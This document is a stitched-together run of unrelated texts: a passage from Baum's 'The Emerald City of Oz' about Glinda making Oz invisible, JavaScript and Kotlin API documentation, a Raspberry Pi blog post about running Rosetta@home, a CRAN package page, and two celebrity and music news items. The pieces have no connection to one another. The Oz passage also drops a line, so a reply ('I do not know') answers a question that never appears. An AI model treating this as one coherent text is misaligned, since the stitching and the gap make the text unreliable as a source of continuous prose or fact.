- Country of Origin: United States of America
- Source: Baum, L. F. (1910). The Emerald City of Oz. Chicago, IL: Reilly and Britton.
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Readability:
- Flesch–Kincaid Level: 6.0
- Word Count: 1,288
- Genre: Fantasy
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“That was better than fighting,” said Ozma, when all our friends were assembled in the palace after the exciting events of the morning; and each and every one agreed with her.
“No one was hurt,” said the Wizard, delightedly.
“And no one hurt us,” added Aunt Em.
“But, best of all,” said Dorothy, “the wicked people have all forgotten their wickedness, and will not wish to hurt any one after this.”
“True, Princess,” declared the Shaggy Man. “It seems to me that to have reformed all those evil characters is more important than to have saved Oz.”
“Nevertheless,” remarked the Scarecrow, “I am glad Oz is saved. I can now go back to my new mansion and live happily.”
“And I am glad and grateful that my pumpkin farm is saved,” said Jack.
“For my part,” added the Tin Woodman, “I cannot express my joy that my lovely tin castle is not to be demolished by wicked enemies.”
“Still,” said Tik-Tok, “o-ther en-e-mies may come to Oz some day.”
“Why do you allow your clock-work brains to interrupt our joy?” asked Omby Amby, frowning at the machine man.
“I say what I am wound up to say,” answered Tik-Tok.
“And you are right,” declared Ozma. “I myself have been thinking of this very idea, and it seems to me there are entirely too many ways for people to get to the Land of Oz. We used to think the deadly desert that surrounds us was enough protection; but that is no longer the case. The Wizard and Dorothy have both come here through the air, and I am told the earth people have invented airships that can fly anywhere they wish them to go.”
“Why, sometimes they do, and sometimes they don’t,” asserted Dorothy.
“But in time the airships may cause us trouble,” continued Ozma, “for if the earth folk learn how to manage them we would be overrun with visitors who would ruin our lovely, secluded fairyland.”
“That is true enough,” agreed the Wizard.
“Also the desert fails to protect us in other ways,” Ozma went on, thoughtfully. “Johnny Dooit once made a sand-boat that sailed across it, and the Nome King made a tunnel under it.
“I do not know; but in some way I am sure it can be accomplished. Tomorrow I will make a journey to the castle of Glinda the Good, and ask her advice.”
“May I go with you?” asked Dorothy, eagerly.
“Of course, my dear Princess; and I also invite any of our friends here who would like to undertake the journey.”
They all declared they wished to accompany their girl Ruler, for this was indeed an important mission, since the future of the Land of Oz to a great extent depended upon it. So Ozma gave orders to her servants to prepare for the journey on the morrow.
That day she watched her Magic Picture, and when it showed her that all the Nomes had returned through the tunnel to their underground caverns, Ozma used the Magic Belt to close up the tunnel, so that the earth underneath the desert sands became as solid as it was before the Nomes began to dig.
Early the following morning a festive cavalcade set out to visit the famous Sorceress, Glinda the Good. Ozma and Dorothy rode in a chariot drawn by the Cowardly Lion and the Hungry Tiger, while the Sawhorse drew the red wagon in which rode the rest of the party.
With hearts light and free from care they traveled merrily along through the lovely and fascinating Land of Oz, and in good season reached the stately castle in which resided the Sorceress.
Glinda knew that they were coming.
“I have been reading about you in my Magic Book,” she said, as she greeted them in her gracious way.
“What is your Magic Book like?” inquired Aunt Em, curiously.
“It is a record of everything that happens,” replied the Sorceress. “As soon as an event takes place, anywhere in the world, it is immediately found printed in my Magic Book. So when I read its pages I am well informed.”
“Did it tell you how our enemies drank the Water of ‘Blivion?” asked Dorothy.
“Yes, my dear; it told all about it. And also it told me you were all coming to my castle, and why.”
“Then,” said Ozma, “I suppose you know what is in my mind, and that I am seeking a way to prevent any one in the future from discovering the Land of Oz.”
“Yes; I know that. And while you were on your journey I have thought of a way to accomplish your desire. For it seems to me unwise to allow too many outside people to come here. Dorothy, with her uncle and aunt, has now returned to Oz to live always, and there is no reason why we should leave any way open for others to travel uninvited to our fairyland. Let us make it impossible for any one ever to communicate with us in any way, after this. Then we may live peacefully and contentedly.”
“Your advice is wise,” returned Ozma. “I thank you, Glinda, for your promise to assist me.”
“But how can you do it?” asked Dorothy. “How can you keep every one from ever finding Oz?”
“By making our country invisible to all eyes but our own,” replied the Sorceress, smiling. “I have a magic charm powerful enough to accomplish that wonderful feat, and now that we have been warned of our danger by the Nome King’s invasion, I believe we must not hesitate to separate ourselves forever from all the rest of the world.”
“I agree with you,” said the Ruler of Oz.
“Won’t it make any difference to us?” asked Dorothy, doubtfully.
“No, my dear,” Glinda answered, assuringly. “We shall still be able to see each other and everything in the Land of Oz. It won’t affect us at all; but those who fly through the air over our country will look down and see nothing at all. Those who come to the edge of the desert, or try to cross it, will catch no glimpse of Oz, or know in what direction it lies. No one will try to tunnel to us again because we cannot be seen and therefore cannot be found. In other words, the Land of Oz will entirely disappear from the knowledge of the rest of the world.”
“That’s all right,” said Dorothy, cheerfully. “You may make Oz invis’ble as soon as you please, for all I care.”
“It is already invisible,” Glinda stated. “I knew Ozma’s wishes, and performed the Magic Spell before you arrived.”
Ozma seized the hand of the Sorceress and pressed it gratefully.
“Thank you!” she said.


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Vo
Value Object
Static Member Summary
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primaryKey: String: * Get the primary key name |
Static Method Summary
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assumePropertyExists(property: String) Check if a Vo property exists, else throw an Error |
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getPropertiesNames(): String[] Get a list of all the properies of the Vo |
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getPropertyConfig(property: String): Object Get all configuration of a property |
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getPropertyDefault(property: String): String Get the default value of a property according to config |
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getPropertyType(property: String): String Get the type of a property according to config |
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hasProperty(property: String): boolean Check if a Vo property exists |
Constructor Summary
| Public Constructor | ||
| public |
constructor(data: Object) |
Member Summary
| Public Members | ||
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data: * |
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| public get |
Get the cleaned dto |
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| public get |
Get the id as string |
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Is the object unsaved (exist in storage but has changed) ? |
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Is the object new (not saved) ? |
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Is the object saved in storage ? |
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Status (from Vo.STATUS values: 'new', 'changed' or 'saved') |
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status(value: any): * To make sure status cannot be access in public |
Method Summary
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castVoPropertyValue(key: String, value: any): any Cast a Vo property and return property well formated |
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Property getter |
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resetData(): self Reset all vo data |
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Property setter |
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Multi property setting |
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statusChangeTrigger(previousStatus: String, newStatus: String) Method triggered when status change. |
Static Public Members
Static Public Methods
public static assumePropertyExists(property: String) source
Check if a Vo property exists, else throw an Error
Params:
| Name | Type | Attribute | Description |
| property | String | the property name |
public static getPropertyConfig(property: String): Object source
Get all configuration of a property
Params:
| Name | Type | Attribute | Description |
| property | String | the property name |
public static getPropertyDefault(property: String): String source
Get the default value of a property according to config
Params:
| Name | Type | Attribute | Description |
| property | String | the property name |
Public Constructors
Public Members
public data: * source
Public Methods
public castVoPropertyValue(key: String, value: any): any source
Cast a Vo property and return property well formated
Params:
| Name | Type | Attribute | Description |
| key | String | the property name |
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| value | any | the property value to cast |
Return:
| any | the cast property |
public get(key: string, defaultValue: any): any source
Property getter
Params:
| Name | Type | Attribute | Description |
| key | string | the property name |
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| defaultValue | any |
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the default value if the property is not set |
Return:
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public set(key: string, value: any): self source
Property setter
Params:
| Name | Type | Attribute | Description |
| key | string | the property name |
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| value | any | the value to assign |
Return:
| self |
public setData(data: Object): self source
Multi property setting
Params:
| Name | Type | Attribute | Description |
| data | Object | associated key value object |
Return:
| self |


The goal of this project was to use a Raspberry Pi to connect to and run the Rosetta@home program. The Resetta@home project is a network of computers that donate their processing power to preform calculations to aid in finding a cure for Covid-19.
The first step of my project was to install Raspbian and BOINC. BOINC is the software that runs the calculations on the raspberry pi. Before I installed BOINC, I wanted to install VNC server so I could remotely control the PI to make configuring it easier. I ran into a few issues though. I had no idea what the administrator password was so I had to change it in order to grant permission to install VNC. I did this by editing some of the start up parameters to allow me to reset the root password. Once VNC server was installed I was able to connect to the pi and install BOINC.
The second step was to configure the PI to use all four available cores and to create four ZRAM partitions to give 500MB per WU (Work Unit. Each core is one WU).
Third, since I was using raspbian the Pi was running in 32 bit mode and BOINC is most useful with 64 bit. I followed this guide.
Once BOINC was installed, I selected the Rosetta@home Project
I've left the pi running for a few weeks now, here are the stats
Current Job:
The Project: Link


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Set of routines for making Map Projections (forward and inverse), Topographic Maps, Perspective plots, Geological Maps, geological map symbols, geological databases, interactive plotting and selection of focus regions.
| Version: | 2.4-4 |
| Depends: | R (≥ 3.0) |
| Imports: | RPMG, splancs, fields, MBA |
| Suggests: | geomapdata, maps, RFOC |
| Published: | 2018-01-18 |
| Author: | Jonathan M. Lees [aut, cre] |
| Maintainer: | Jonathan M. Lees <jonathan.lees at unc.edu> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | yes |
| Materials: | NEWS |
| In views: | Spatial |
| CRAN checks: | GEOmap results |
| Reference manual: | GEOmap.pdf |
| Package source: | GEOmap_2.4-4.tar.gz |
| Windows binaries: | r-devel: GEOmap_2.4-4.zip, r-release: GEOmap_2.4-4.zip, r-oldrel: GEOmap_2.4-4.zip |
| OS X binaries: | r-release: GEOmap_2.4-4.tgz, r-oldrel: GEOmap_2.4-4.tgz |
| Old sources: | GEOmap archive |
| Reverse imports: | geophys, RFOC, rNOMADS, Rquake, RTOMO, s2dverification |
| Reverse suggests: | geomapdata |
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Molly-Mae Hague defended by fans after vicious trolling over 'orange' foundation
Fans have hit out at trolls who accused Molly-Mae of 'blackfishing' for wearing a shade darker than her natural skintone
by Louise Randell, https://www.mirror.co.uk/authors/louise-randell/Molly-Mae Hague has been defended by fans after she was targeted by vicious trolls who mocked her "orange" foundation.
The Love Island star posted a video online showing her doing her make-up, and she was seen using a base darker than her natural skin tone.
Molly-Mae explained she uses a darker shade to stop her looking so pale in winter, but was bombarded with abuse from trolls.
She said: "I’ve really been enjoying Giorgio Armani Luminous Silk but this is too dark for me so I’m going to be mixing it with my studio fix fluid from MAC which is a holy grail of mine.
"I use it all the time and this is in the shade NC42 which is still very dark.
"I often get lots of comments on how my face is too dark.
"I go very pale in the winter time and obviously now it’s getting colder, it’s getting wintery.
"So I’ve gotten quite pale.
One troll wrote: "Is this satire? There’s no way she actually believes it’s a match… It’s like 10 shades too dark."
Another added: "he uses nc42 which is the LIGHTER bottle she’s holding… I’m punjabi and i’m NC30.

"You can defend this all you want but it’s actual madness & FYI it doesn’t look believable for one second. you are all orange blud."
However, Molly-Mae has been defended by fans who have called the trolling "madness".
One tweeted: "Can’t lie Molly-mae’s Nc42 foundation isn’t really that dark. I wear NC44 and I’m light skinned.
"It has a tanned/orange undertone so it goes well with fake tan."
Another wrote: "I wish people would actually watch the video of molly-mae doing her makeup because they’d realise after concealer, powder etc her foundation matches her tan perfectly and doesn’t look “too dark”
A third added: "Poor molly-mae Hague never gets a break, first for a photo where she looks like she’s got a hairy arse, now Cos she’s wearing shade NC42 foundation she’s accused of black fishing...
"Hold the door, I wear the same shades - someone lock me up and through away the key."
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Wolf Alice urge fans to register to vote as they share update on new album
"Promise u we r hard at work writing new music"
Wolf Alice have shared an update on their new album whilst also urging people to register to vote in the upcoming general election.
In a new post on Twitter, the band said they were “breaking their radio silence” before sharing a clip of themselves performing in the studio.
Wolf Alice wrote: “Hi Uk friends, promise u we r hard at work writing new music but we r breaking radio silence to stress the importance of making sure u r registered to vote in the upcoming election. The deadline is the 26 OF NOVEMBER.”
In a second post, they added: “Don’t let other ppl decide what your future looks like. Have your say! Even if u don’t know who or what u want to vote for right now just make sure u r registered.”
You can see the posts and the clip below:
Back in September, Wolf Alice headlined Glastonbury’s annual Pilton Party, just weeks after headlining Oxfordshire’s Truck Festival.
In the NME review of the set, Hannah Mylrea said: “As [Ellie] Rowsell clambers into the crowd for the finale of ‘Giant Peach’ and confetti rains down on the army of fans enjoying the set, Wolf Alice leave the audience with no doubt that the headline spot is where they’re meant to be on the line-up.”
Wolf Alice were also recently announced on the line-up for next year’s Mad Cool festival in Madrid. They join Taylor Swift, Billie Eilish, Twenty One Pilots, Pixies, Alt-J and Tove-Lo and Foals who were the first wave of acts announced for the festival.
Other acts who have been recently added include Finneas, Nothing But Thieves, Richard Hawley, Jamie Cullum and the Deftones. The event is due to take place from July 8-11 2020.


open class Feature<TData>
A feature of a sample in some data set.
TData
- The type of the feature.
Feature(name: String, value: TData)
A feature of a sample in some data set. |
val name: String
The name of the this feature in the data set. |
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val value: TData
The value of this feature in the data set. |
open fun toString(): String |
class NominalFeature<TData> : Feature<TData> |


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